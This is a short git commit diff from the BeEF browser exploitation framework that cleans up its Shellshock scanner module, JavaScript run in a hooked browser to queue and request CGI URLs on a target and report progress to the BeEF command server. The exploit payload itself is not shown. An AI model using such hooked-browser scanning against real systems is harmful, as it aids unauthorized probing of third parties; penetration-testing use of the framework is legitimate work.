Module clean up

This commit is contained in:
Brendan Coles
2015-01-06 10:27:10 +00:00
parent a9833fd538
commit 8a8ea35265
3 changed files with 8 additions and 11 deletions

View File

@@ -13,7 +13,6 @@ beef.execute(function() {
var target = rproto + '://' + rhost + ':' + rport;
var method = '<%= @method %>';
var wait = '<%= @wait %>';
var timeout = '<%= @timeout %>';
get_cgi = function(uri) {
try {
@@ -34,7 +33,8 @@ beef.execute(function() {
}
}
var scripts = new Array(
// add scripts to queue
var requests = new Array(
<%=
scripts = []
File.open("#{$root_dir}/modules/exploits/shell_shock_scanner/shocker-cgi_list", 'r') do |file_handle|
@@ -49,12 +49,10 @@ beef.execute(function() {
%>
);
// add scripts to queue
var requests = [];
for (var i=0; i<scripts.length; i++) requests.push(scripts[i]);
// process queue
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=starting scan");
beef.debug("[command #<%= @command_id %>] Starting Shellshock scan of "+target+" ("+requests.length+" URLs)");
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=starting scan of "+target+" ("+requests.length+" URLs)");
var timeout = wait * requests.length + 10;
var handle = setInterval(function() {
if (requests.length > 0) {
get_cgi(requests.pop());
@@ -64,7 +62,7 @@ beef.execute(function() {
// clean up
cleanup = function() {
if (handle) {
beef.debug("Killing timer [ID: " + handle + "]");
beef.debug("[command #<%= @command_id %>] Killing timer [ID: " + handle + "]");
clearInterval(handle);
handle = 0;
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=scan complete");